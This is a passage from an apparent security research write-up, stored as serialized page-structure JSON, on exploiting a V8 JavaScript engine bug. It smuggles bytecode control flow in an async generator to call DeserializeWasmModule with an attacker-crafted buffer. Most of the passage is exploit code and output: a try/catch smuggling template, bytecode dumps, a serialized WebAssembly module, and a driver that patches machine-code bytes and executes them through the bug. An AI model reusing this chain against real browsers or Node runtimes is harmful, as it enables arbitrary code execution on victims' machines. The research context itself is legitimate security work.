",{"type":24,"tag":156,"props":135558,"children":135560},{"className":135559},[],[135561],{"type":30,"value":135562},"a2",{"type":30,"value":135564}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":156,"props":135566,"children":135568},{"className":135567},[],[135569],{"type":30,"value":135570},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":100,"props":135572,"children":135573},{},[135574],{"type":30,"value":135575},"a Jump instruction",{"type":24,"tag":151,"props":135577,"children":135579},{"id":135578},"returning-back-to-js",[135580],{"type":30,"value":135581},"Returning Back to JS",{"type":24,"tag":33,"props":135583,"children":135584},{},[135585,135587,135593],{"type":30,"value":135586},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":156,"props":135588,"children":135590},{"className":135589},[],[135591],{"type":30,"value":135592},"yield",{"type":30,"value":135594}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":33,"props":135596,"children":135597},{},[135598],{"type":30,"value":135599},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":920,"props":135601,"children":135603},{"code":135602,"language":34457,"meta":7,"className":34455,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[135604],{"type":24,"tag":156,"props":135605,"children":135606},{"__ignoreMap":7},[135607,135618,135666,135687,135703,135726,135754,135771],{"type":24,"tag":930,"props":135608,"children":135609},{"class":932,"line":933},[135610,135614],{"type":24,"tag":930,"props":135611,"children":135612},{"style":1079},[135613],{"type":30,"value":51421},{"type":24,"tag":930,"props":135615,"children":135616},{"style":959},[135617],{"type":30,"value":981},{"type":24,"tag":930,"props":135619,"children":135620},{"class":932,"line":984},[135621,135626,135630,135635,135639,135644,135648,135653,135657,135661],{"type":24,"tag":930,"props":135622,"children":135623},{"style":1023},[135624],{"type":30,"value":135625},"  $",{"type":24,"tag":930,"props":135627,"children":135628},{"style":959},[135629],{"type":30,"value":79697},{"type":24,"tag":930,"props":135631,"children":135632},{"style":1270},[135633],{"type":30,"value":135634},"'a1 + 0xa931111;'",{"type":24,"tag":930,"props":135636,"children":135637},{"style":959},[135638],{"type":30,"value":436},{"type":24,"tag":930,"props":135640,"children":135641},{"style":1002},[135642],{"type":30,"value":135643},"repeat",{"type":24,"tag":930,"props":135645,"children":135646},{"style":959},[135647],{"type":30,"value":1010},{"type":24,"tag":930,"props":135649,"children":135650},{"style":1242},[135651],{"type":30,"value":135652},"0x059302",{"type":24,"tag":930,"props":135654,"children":135655},{"style":1158},[135656],{"type":30,"value":54344},{"type":24,"tag":930,"props":135658,"children":135659},{"style":1242},[135660],{"type":30,"value":7637},{"type":24,"tag":930,"props":135662,"children":135663},{"style":959},[135664],{"type":30,"value":135665},")}\n",{"type":24,"tag":930,"props":135667,"children":135668},{"class":932,"line":993},[135669,135674,135678,135683],{"type":24,"tag":930,"props":135670,"children":135671},{"style":1023},[135672],{"type":30,"value":135673},"  a1",{"type":24,"tag":930,"props":135675,"children":135676},{"style":1158},[135677],{"type":30,"value":12014},{"type":24,"tag":930,"props":135679,"children":135680},{"style":1242},[135681],{"type":30,"value":135682}," 0x0402666c",{"type":24,"tag":930,"props":135684,"children":135685},{"style":959},[135686],{"type":30,"value":5539},{"type":24,"tag":930,"props":135688,"children":135689},{"class":932,"line":1057},[135690,135694,135699],{"type":24,"tag":930,"props":135691,"children":135692},{"style":1079},[135693],{"type":30,"value":38290},{"type":24,"tag":930,"props":135695,"children":135696},{"style":1242},[135697],{"type":30,"value":135698}," 0x393e91a",{"type":24,"tag":930,"props":135700,"children":135701},{"style":959},[135702],{"type":30,"value":5539},{"type":24,"tag":930,"props":135704,"children":135705},{"class":932,"line":1066},[135706,135710,135714,135718,135722],{"type":24,"tag":930,"props":135707,"children":135708},{"style":959},[135709],{"type":30,"value":49963},{"type":24,"tag":930,"props":135711,"children":135712},{"style":1079},[135713],{"type":30,"value":4760},{"type":24,"tag":930,"props":135715,"children":135716},{"style":959},[135717],{"type":30,"value":1087},{"type":24,"tag":930,"props":135719,"children":135720},{"style":1023},[135721],{"type":30,"value":54543},{"type":24,"tag":930,"props":135723,"children":135724},{"style":959},[135725],{"type":30,"value":1503},{"type":24,"tag":930,"props":135727,"children":135728},{"class":932,"line":1075},[135729,135733,135737,135741,135745,135750],{"type":24,"tag":930,"props":135730,"children":135731},{"style":1023},[135732],{"type":30,"value":105003},{"type":24,"tag":930,"props":135734,"children":135735},{"style":959},[135736],{"type":30,"value":436},{"type":24,"tag":930,"props":135738,"children":135739},{"style":1002},[135740],{"type":30,"value":105012},{"type":24,"tag":930,"props":135742,"children":135743},{"style":959},[135744],{"type":30,"value":1010},{"type":24,"tag":930,"props":135746,"children":135747},{"style":1270},[135748],{"type":30,"value":135749},"\"foo\"",{"type":24,"tag":930,"props":135751,"children":135752},{"style":959},[135753],{"type":30,"value":1278},{"type":24,"tag":930,"props":135755,"children":135756},{"class":932,"line":1122},[135757,135762,135767],{"type":24,"tag":930,"props":135758,"children":135759},{"style":1079},[135760],{"type":30,"value":135761},"  yield",{"type":24,"tag":930,"props":135763,"children":135764},{"style":1023},[135765],{"type":30,"value":135766}," a16",{"type":24,"tag":930,"props":135768,"children":135769},{"style":959},[135770],{"type":30,"value":5539},{"type":24,"tag":930,"props":135772,"children":135773},{"class":932,"line":1131},[135774],{"type":24,"tag":930,"props":135775,"children":135776},{"style":959},[135777],{"type":30,"value":2528},{"type":24,"tag":33,"props":135779,"children":135780},{},[135781,135783],{"type":30,"value":135782},"Starting from the final ",{"type":24,"tag":156,"props":135784,"children":135786},{"className":135785},[],[135787],{"type":30,"value":135490},{"type":24,"tag":920,"props":135789,"children":135791},{"code":135790}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[135792],{"type":24,"tag":156,"props":135793,"children":135794},{"__ignoreMap":7},[135795],{"type":30,"value":135790},{"type":24,"tag":33,"props":135797,"children":135798},{},[135799,135801,135806,135808,135814],{"type":30,"value":135800},"The smuggled jump in ",{"type":24,"tag":156,"props":135802,"children":135804},{"className":135803},[],[135805],{"type":30,"value":135490},{"type":30,"value":135807}," will redirect us to ",{"type":24,"tag":156,"props":135809,"children":135811},{"className":135810},[],[135812],{"type":30,"value":135813},"1a e9 93 03",{"type":30,"value":135815},", which results in:",{"type":24,"tag":96,"props":135817,"children":135818},{},[135819,135830],{"type":24,"tag":100,"props":135820,"children":135821},{},[135822,135828],{"type":24,"tag":156,"props":135823,"children":135825},{"className":135824},[],[135826],{"type":30,"value":135827},"Star r16",{"type":30,"value":135829}," (store accumulator to r16)",{"type":24,"tag":100,"props":135831,"children":135832},{},[135833,135838],{"type":24,"tag":156,"props":135834,"children":135836},{"className":135835},[],[135837],{"type":30,"value":135260},{"type":30,"value":135839}," past the throw into the catch relevant code",{"type":24,"tag":33,"props":135841,"children":135842},{},[135843,135845,135851],{"type":30,"value":135844},"This will bring us nicely to the final ",{"type":24,"tag":156,"props":135846,"children":135848},{"className":135847},[],[135849],{"type":30,"value":135850},"yield a16",{"type":30,"value":135852},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":151,"props":135854,"children":135856},{"id":135855},"executing-shellcode",[135857],{"type":30,"value":135858},"Executing Shellcode",{"type":24,"tag":33,"props":135860,"children":135861},{},[135862],{"type":30,"value":135863},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":920,"props":135865,"children":135867},{"code":135866,"language":38703,"meta":7,"className":38701,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[135868],{"type":24,"tag":156,"props":135869,"children":135870},{"__ignoreMap":7},[135871,135901,136128,136196,136203,136248,136294,136334,136341,136365,136402,136438],{"type":24,"tag":930,"props":135872,"children":135873},{"class":932,"line":933},[135874,135878,135883,135887,135891,135896],{"type":24,"tag":930,"props":135875,"children":135876},{"style":937},[135877],{"type":30,"value":38136},{"type":24,"tag":930,"props":135879,"children":135880},{"style":1023},[135881],{"type":30,"value":135882}," wasm_code",{"type":24,"tag":930,"props":135884,"children":135885},{"style":1158},[135886],{"type":30,"value":6137},{"type":24,"tag":930,"props":135888,"children":135889},{"style":937},[135890],{"type":30,"value":35023},{"type":24,"tag":930,"props":135892,"children":135893},{"style":1002},[135894],{"type":30,"value":135895}," Uint8Array",{"type":24,"tag":930,"props":135897,"children":135898},{"style":959},[135899],{"type":30,"value":135900},"([\n",{"type":24,"tag":930,"props":135902,"children":135903},{"class":932,"line":984},[135904,135909,135913,135918,135922,135927,135931,135936,135940,135944,135948,135952,135956,135960,135964,135968,135972,135976,135980,135984,135988,135992,135996,136001,136005,136009,136013,136017,136021,136025,136029,136033,136037,136041,136045,136049,136053,136057,136061,136065,136069,136073,136077,136081,136085,136089,136093,136098,136102,136107,136111,136116,136120,136124],{"type":24,"tag":930,"props":135905,"children":135906},{"style":1242},[135907],{"type":30,"value":135908},"  0",{"type":24,"tag":930,"props":135910,"children":135911},{"style":959},[135912],{"type":30,"value":962},{"type":24,"tag":930,"props":135914,"children":135915},{"style":1242},[135916],{"type":30,"value":135917},"97",{"type":24,"tag":930,"props":135919,"children":135920},{"style":959},[135921],{"type":30,"value":962},{"type":24,"tag":930,"props":135923,"children":135924},{"style":1242},[135925],{"type":30,"value":135926},"115",{"type":24,"tag":930,"props":135928,"children":135929},{"style":959},[135930],{"type":30,"value":962},{"type":24,"tag":930,"props":135932,"children":135933},{"style":1242},[135934],{"type":30,"value":135935},"109",{"type":24,"tag":930,"props":135937,"children":135938},{"style":959},[135939],{"type":30,"value":962},{"type":24,"tag":930,"props":135941,"children":135942},{"style":1242},[135943],{"type":30,"value":7129},{"type":24,"tag":930,"props":135945,"children":135946},{"style":959},[135947],{"type":30,"value":962},{"type":24,"tag":930,"props":135949,"children":135950},{"style":1242},[135951],{"type":30,"value":1818},{"type":24,"tag":930,"props":135953,"children":135954},{"style":959},[135955],{"type":30,"value":962},{"type":24,"tag":930,"props":135957,"children":135958},{"style":1242},[135959],{"type":30,"value":1818},{"type":24,"tag":930,"props":135961,"children":135962},{"style":959},[135963],{"type":30,"value":962},{"type":24,"tag":930,"props":135965,"children":135966},{"style":1242},[135967],{"type":30,"value":1818},{"type":24,"tag":930,"props":135969,"children":135970},{"style":959},[135971],{"type":30,"value":962},{"type":24,"tag":930,"props":135973,"children":135974},{"style":1242},[135975],{"type":30,"value":7129},{"type":24,"tag":930,"props":135977,"children":135978},{"style":959},[135979],{"type":30,"value":962},{"type":24,"tag":930,"props":135981,"children":135982},{"style":1242},[135983],{"type":30,"value":20630},{"type":24,"tag":930,"props":135985,"children":135986},{"style":959},[135987],{"type":30,"value":962},{"type":24,"tag":930,"props":135989,"children":135990},{"style":1242},[135991],{"type":30,"value":7129},{"type":24,"tag":930,"props":135993,"children":135994},{"style":959},[135995],{"type":30,"value":962},{"type":24,"tag":930,"props":135997,"children":135998},{"style":1242},[135999],{"type":30,"value":136000},"96",{"type":24,"tag":930,"props":136002,"children":136003},{"style":959},[136004],{"type":30,"value":962},{"type":24,"tag":930,"props":136006,"children":136007},{"style":1242},[136008],{"type":30,"value":1818},{"type":24,"tag":930,"props":136010,"children":136011},{"style":959},[136012],{"type":30,"value":962},{"type":24,"tag":930,"props":136014,"children":136015},{"style":1242},[136016],{"type":30,"value":1818},{"type":24,"tag":930,"props":136018,"children":136019},{"style":959},[136020],{"type":30,"value":962},{"type":24,"tag":930,"props":136022,"children":136023},{"style":1242},[136024],{"type":30,"value":20397},{"type":24,"tag":930,"props":136026,"children":136027},{"style":959},[136028],{"type":30,"value":962},{"type":24,"tag":930,"props":136030,"children":136031},{"style":1242},[136032],{"type":30,"value":6244},{"type":24,"tag":930,"props":136034,"children":136035},{"style":959},[136036],{"type":30,"value":962},{"type":24,"tag":930,"props":136038,"children":136039},{"style":1242},[136040],{"type":30,"value":7129},{"type":24,"tag":930,"props":136042,"children":136043},{"style":959},[136044],{"type":30,"value":962},{"type":24,"tag":930,"props":136046,"children":136047},{"style":1242},[136048],{"type":30,"value":1818},{"type":24,"tag":930,"props":136050,"children":136051},{"style":959},[136052],{"type":30,"value":962},{"type":24,"tag":930,"props":136054,"children":136055},{"style":1242},[136056],{"type":30,"value":57760},{"type":24,"tag":930,"props":136058,"children":136059},{"style":959},[136060],{"type":30,"value":962},{"type":24,"tag":930,"props":136062,"children":136063},{"style":1242},[136064],{"type":30,"value":58975},{"type":24,"tag":930,"props":136066,"children":136067},{"style":959},[136068],{"type":30,"value":962},{"type":24,"tag":930,"props":136070,"children":136071},{"style":1242},[136072],{"type":30,"value":7129},{"type":24,"tag":930,"props":136074,"children":136075},{"style":959},[136076],{"type":30,"value":962},{"type":24,"tag":930,"props":136078,"children":136079},{"style":1242},[136080],{"type":30,"value":21210},{"type":24,"tag":930,"props":136082,"children":136083},{"style":959},[136084],{"type":30,"value":962},{"type":24,"tag":930,"props":136086,"children":136087},{"style":1242},[136088],{"type":30,"value":135926},{"type":24,"tag":930,"props":136090,"children":136091},{"style":959},[136092],{"type":30,"value":962},{"type":24,"tag":930,"props":136094,"children":136095},{"style":1242},[136096],{"type":30,"value":136097},"104",{"type":24,"tag":930,"props":136099,"children":136100},{"style":959},[136101],{"type":30,"value":962},{"type":24,"tag":930,"props":136103,"children":136104},{"style":1242},[136105],{"type":30,"value":136106},"101",{"type":24,"tag":930,"props":136108,"children":136109},{"style":959},[136110],{"type":30,"value":962},{"type":24,"tag":930,"props":136112,"children":136113},{"style":1242},[136114],{"type":30,"value":136115},"108",{"type":24,"tag":930,"props":136117,"children":136118},{"style":959},[136119],{"type":30,"value":962},{"type":24,"tag":930,"props":136121,"children":136122},{"style":1242},[136123],{"type":30,"value":136115},{"type":24,"tag":930,"props":136125,"children":136126},{"style":959},[136127],{"type":30,"value":2832},{"type":24,"tag":930,"props":136129,"children":136130},{"class":932,"line":993},[136131,136135,136139,136143,136147,136151,136155,136159,136163,136167,136171,136175,136179,136183,136187,136192],{"type":24,"tag":930,"props":136132,"children":136133},{"style":1242},[136134],{"type":30,"value":135908},{"type":24,"tag":930,"props":136136,"children":136137},{"style":959},[136138],{"type":30,"value":962},{"type":24,"tag":930,"props":136140,"children":136141},{"style":1242},[136142],{"type":30,"value":1818},{"type":24,"tag":930,"props":136144,"children":136145},{"style":959},[136146],{"type":30,"value":962},{"type":24,"tag":930,"props":136148,"children":136149},{"style":1242},[136150],{"type":30,"value":92321},{"type":24,"tag":930,"props":136152,"children":136153},{"style":959},[136154],{"type":30,"value":962},{"type":24,"tag":930,"props":136156,"children":136157},{"style":1242},[136158],{"type":30,"value":20630},{"type":24,"tag":930,"props":136160,"children":136161},{"style":959},[136162],{"type":30,"value":962},{"type":24,"tag":930,"props":136164,"children":136165},{"style":1242},[136166],{"type":30,"value":7129},{"type":24,"tag":930,"props":136168,"children":136169},{"style":959},[136170],{"type":30,"value":962},{"type":24,"tag":930,"props":136172,"children":136173},{"style":1242},[136174],{"type":30,"value":6244},{"type":24,"tag":930,"props":136176,"children":136177},{"style":959},[136178],{"type":30,"value":962},{"type":24,"tag":930,"props":136180,"children":136181},{"style":1242},[136182],{"type":30,"value":1818},{"type":24,"tag":930,"props":136184,"children":136185},{"style":959},[136186],{"type":30,"value":962},{"type":24,"tag":930,"props":136188,"children":136189},{"style":1242},[136190],{"type":30,"value":136191},"11",{"type":24,"tag":930,"props":136193,"children":136194},{"style":959},[136195],{"type":30,"value":2832},{"type":24,"tag":930,"props":136197,"children":136198},{"class":932,"line":1057},[136199],{"type":24,"tag":930,"props":136200,"children":136201},{"style":959},[136202],{"type":30,"value":6868},{"type":24,"tag":930,"props":136204,"children":136205},{"class":932,"line":1066},[136206,136210,136214,136218,136222,136227,136231,136235,136239,136244],{"type":24,"tag":930,"props":136207,"children":136208},{"style":937},[136209],{"type":30,"value":38136},{"type":24,"tag":930,"props":136211,"children":136212},{"style":1023},[136213],{"type":30,"value":74705},{"type":24,"tag":930,"props":136215,"children":136216},{"style":1158},[136217],{"type":30,"value":6137},{"type":24,"tag":930,"props":136219,"children":136220},{"style":937},[136221],{"type":30,"value":35023},{"type":24,"tag":930,"props":136223,"children":136224},{"style":1023},[136225],{"type":30,"value":136226}," WebAssembly",{"type":24,"tag":930,"props":136228,"children":136229},{"style":959},[136230],{"type":30,"value":436},{"type":24,"tag":930,"props":136232,"children":136233},{"style":1002},[136234],{"type":30,"value":88989},{"type":24,"tag":930,"props":136236,"children":136237},{"style":959},[136238],{"type":30,"value":1010},{"type":24,"tag":930,"props":136240,"children":136241},{"style":1023},[136242],{"type":30,"value":136243},"wasm_code",{"type":24,"tag":930,"props":136245,"children":136246},{"style":959},[136247],{"type":30,"value":1278},{"type":24,"tag":930,"props":136249,"children":136250},{"class":932,"line":1075},[136251,136255,136260,136264,136268,136272,136276,136281,136285,136290],{"type":24,"tag":930,"props":136252,"children":136253},{"style":937},[136254],{"type":30,"value":38136},{"type":24,"tag":930,"props":136256,"children":136257},{"style":1023},[136258],{"type":30,"value":136259}," inst",{"type":24,"tag":930,"props":136261,"children":136262},{"style":1158},[136263],{"type":30,"value":6137},{"type":24,"tag":930,"props":136265,"children":136266},{"style":937},[136267],{"type":30,"value":35023},{"type":24,"tag":930,"props":136269,"children":136270},{"style":1023},[136271],{"type":30,"value":136226},{"type":24,"tag":930,"props":136273,"children":136274},{"style":959},[136275],{"type":30,"value":436},{"type":24,"tag":930,"props":136277,"children":136278},{"style":1002},[136279],{"type":30,"value":136280},"Instance",{"type":24,"tag":930,"props":136282,"children":136283},{"style":959},[136284],{"type":30,"value":1010},{"type":24,"tag":930,"props":136286,"children":136287},{"style":1023},[136288],{"type":30,"value":136289},"mod",{"type":24,"tag":930,"props":136291,"children":136292},{"style":959},[136293],{"type":30,"value":1278},{"type":24,"tag":930,"props":136295,"children":136296},{"class":932,"line":1122},[136297,136301,136305,136309,136313,136317,136321,136325,136330],{"type":24,"tag":930,"props":136298,"children":136299},{"style":937},[136300],{"type":30,"value":38136},{"type":24,"tag":930,"props":136302,"children":136303},{"style":1023},[136304],{"type":30,"value":83087},{"type":24,"tag":930,"props":136306,"children":136307},{"style":1158},[136308],{"type":30,"value":6137},{"type":24,"tag":930,"props":136310,"children":136311},{"style":1023},[136312],{"type":30,"value":136259},{"type":24,"tag":930,"props":136314,"children":136315},{"style":959},[136316],{"type":30,"value":436},{"type":24,"tag":930,"props":136318,"children":136319},{"style":1023},[136320],{"type":30,"value":40974},{"type":24,"tag":930,"props":136322,"children":136323},{"style":959},[136324],{"type":30,"value":436},{"type":24,"tag":930,"props":136326,"children":136327},{"style":1023},[136328],{"type":30,"value":136329},"shell",{"type":24,"tag":930,"props":136331,"children":136332},{"style":959},[136333],{"type":30,"value":5539},{"type":24,"tag":930,"props":136335,"children":136336},{"class":932,"line":1131},[136337],{"type":24,"tag":930,"props":136338,"children":136339},{"emptyLinePlaceholder":16},[136340],{"type":30,"value":2412},{"type":24,"tag":930,"props":136342,"children":136343},{"class":932,"line":1144},[136344,136348,136353,136357,136361],{"type":24,"tag":930,"props":136345,"children":136346},{"style":1158},[136347],{"type":30,"value":59478},{"type":24,"tag":930,"props":136349,"children":136350},{"style":1002},[136351],{"type":30,"value":136352},"WasmTierUpFunction",{"type":24,"tag":930,"props":136354,"children":136355},{"style":959},[136356],{"type":30,"value":1010},{"type":24,"tag":930,"props":136358,"children":136359},{"style":1023},[136360],{"type":30,"value":79380},{"type":24,"tag":930,"props":136362,"children":136363},{"style":959},[136364],{"type":30,"value":1278},{"type":24,"tag":930,"props":136366,"children":136367},{"class":932,"line":1169},[136368,136372,136377,136381,136386,136390,136394,136398],{"type":24,"tag":930,"props":136369,"children":136370},{"style":937},[136371],{"type":30,"value":38136},{"type":24,"tag":930,"props":136373,"children":136374},{"style":1023},[136375],{"type":30,"value":136376}," serialized",{"type":24,"tag":930,"props":136378,"children":136379},{"style":1158},[136380],{"type":30,"value":6137},{"type":24,"tag":930,"props":136382,"children":136383},{"style":1158},[136384],{"type":30,"value":136385}," %",{"type":24,"tag":930,"props":136387,"children":136388},{"style":1002},[136389],{"type":30,"value":135384},{"type":24,"tag":930,"props":136391,"children":136392},{"style":959},[136393],{"type":30,"value":1010},{"type":24,"tag":930,"props":136395,"children":136396},{"style":1023},[136397],{"type":30,"value":136289},{"type":24,"tag":930,"props":136399,"children":136400},{"style":959},[136401],{"type":30,"value":1278},{"type":24,"tag":930,"props":136403,"children":136404},{"class":932,"line":1191},[136405,136409,136413,136417,136421,136425,136429,136434],{"type":24,"tag":930,"props":136406,"children":136407},{"style":937},[136408],{"type":30,"value":14894},{"type":24,"tag":930,"props":136410,"children":136411},{"style":1023},[136412],{"type":30,"value":12268},{"type":24,"tag":930,"props":136414,"children":136415},{"style":1158},[136416],{"type":30,"value":6137},{"type":24,"tag":930,"props":136418,"children":136419},{"style":937},[136420],{"type":30,"value":35023},{"type":24,"tag":930,"props":136422,"children":136423},{"style":1002},[136424],{"type":30,"value":135895},{"type":24,"tag":930,"props":136426,"children":136427},{"style":959},[136428],{"type":30,"value":1010},{"type":24,"tag":930,"props":136430,"children":136431},{"style":1023},[136432],{"type":30,"value":136433},"serialized",{"type":24,"tag":930,"props":136435,"children":136436},{"style":959},[136437],{"type":30,"value":1278},{"type":24,"tag":930,"props":136439,"children":136440},{"class":932,"line":1223},[136441,136446,136450,136454,136458,136463,136467,136471,136475,136480,136484,136489,136493,136497,136502],{"type":24,"tag":930,"props":136442,"children":136443},{"style":1023},[136444],{"type":30,"value":136445},"console",{"type":24,"tag":930,"props":136447,"children":136448},{"style":959},[136449],{"type":30,"value":436},{"type":24,"tag":930,"props":136451,"children":136452},{"style":1002},[136453],{"type":30,"value":105012},{"type":24,"tag":930,"props":136455,"children":136456},{"style":959},[136457],{"type":30,"value":1010},{"type":24,"tag":930,"props":136459,"children":136460},{"style":1270},[136461],{"type":30,"value":136462},"'['",{"type":24,"tag":930,"props":136464,"children":136465},{"style":1158},[136466],{"type":30,"value":12014},{"type":24,"tag":930,"props":136468,"children":136469},{"style":1023},[136470],{"type":30,"value":12268},{"type":24,"tag":930,"props":136472,"children":136473},{"style":959},[136474],{"type":30,"value":436},{"type":24,"tag":930,"props":136476,"children":136477},{"style":1002},[136478],{"type":30,"value":136479},"join",{"type":24,"tag":930,"props":136481,"children":136482},{"style":959},[136483],{"type":30,"value":1010},{"type":24,"tag":930,"props":136485,"children":136486},{"style":1270},[136487],{"type":30,"value":136488},"', '",{"type":24,"tag":930,"props":136490,"children":136491},{"style":959},[136492],{"type":30,"value":5579},{"type":24,"tag":930,"props":136494,"children":136495},{"style":1158},[136496],{"type":30,"value":1400},{"type":24,"tag":930,"props":136498,"children":136499},{"style":1270},[136500],{"type":30,"value":136501}," ']'",{"type":24,"tag":930,"props":136503,"children":136504},{"style":959},[136505],{"type":30,"value":1278},{"type":24,"tag":33,"props":136507,"children":136508},{},[136509],{"type":30,"value":136510},"This produces the following output:",{"type":24,"tag":920,"props":136512,"children":136514},{"code":136513},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[136515],{"type":24,"tag":156,"props":136516,"children":136517},{"__ignoreMap":7},[136518],{"type":30,"value":136513},{"type":24,"tag":33,"props":136520,"children":136521},{},[136522,136524,136530,136532,136538,136540,136546,136547,136553,136555,136560],{"type":30,"value":136523},"The bytes ",{"type":24,"tag":156,"props":136525,"children":136527},{"className":136526},[],[136528],{"type":30,"value":136529},"85, 72, 137, 229, ...",{"type":30,"value":136531}," correspond to the x86-64 function prologue (",{"type":24,"tag":156,"props":136533,"children":136535},{"className":136534},[],[136536],{"type":30,"value":136537},"push rbp; mov rbp, rsp",{"type":30,"value":136539},"). We replace the first byte with ",{"type":24,"tag":156,"props":136541,"children":136543},{"className":136542},[],[136544],{"type":30,"value":136545},"0xcc",{"type":30,"value":19561},{"type":24,"tag":156,"props":136548,"children":136550},{"className":136549},[],[136551],{"type":30,"value":136552},"int3",{"type":30,"value":136554}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":156,"props":136556,"children":136558},{"className":136557},[],[136559],{"type":30,"value":135358},{"type":30,"value":476},{"type":24,"tag":920,"props":136562,"children":136564},{"code":136563,"language":38703,"meta":7,"className":38701,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[136565],{"type":24,"tag":156,"props":136566,"children":136567},{"__ignoreMap":7},[136568,136591,136618,136838,136905,136913,136940,137154,137406,137657,137883,138127,138347,138354,138403,138448,138492,138531,138543],{"type":24,"tag":930,"props":136569,"children":136570},{"class":932,"line":933},[136571,136575,136579,136583,136587],{"type":24,"tag":930,"props":136572,"children":136573},{"style":959},[136574],{"type":30,"value":1010},{"type":24,"tag":930,"props":136576,"children":136577},{"style":937},[136578],{"type":30,"value":39233},{"type":24,"tag":930,"props":136580,"children":136581},{"style":959},[136582],{"type":30,"value":42784},{"type":24,"tag":930,"props":136584,"children":136585},{"style":937},[136586],{"type":30,"value":17925},{"type":24,"tag":930,"props":136588,"children":136589},{"style":959},[136590],{"type":30,"value":981},{"type":24,"tag":930,"props":136592,"children":136593},{"class":932,"line":984},[136594,136598,136602,136606,136610,136614],{"type":24,"tag":930,"props":136595,"children":136596},{"style":937},[136597],{"type":30,"value":39276},{"type":24,"tag":930,"props":136599,"children":136600},{"style":1023},[136601],{"type":30,"value":135882},{"type":24,"tag":930,"props":136603,"children":136604},{"style":1158},[136605],{"type":30,"value":6137},{"type":24,"tag":930,"props":136607,"children":136608},{"style":937},[136609],{"type":30,"value":35023},{"type":24,"tag":930,"props":136611,"children":136612},{"style":1002},[136613],{"type":30,"value":135895},{"type":24,"tag":930,"props":136615,"children":136616},{"style":959},[136617],{"type":30,"value":135900},{"type":24,"tag":930,"props":136619,"children":136620},{"class":932,"line":993},[136621,136626,136630,136634,136638,136642,136646,136650,136654,136658,136662,136666,136670,136674,136678,136682,136686,136690,136694,136698,136702,136706,136710,136714,136718,136722,136726,136730,136734,136738,136742,136746,136750,136754,136758,136762,136766,136770,136774,136778,136782,136786,136790,136794,136798,136802,136806,136810,136814,136818,136822,136826,136830,136834],{"type":24,"tag":930,"props":136622,"children":136623},{"style":1242},[136624],{"type":30,"value":136625},"    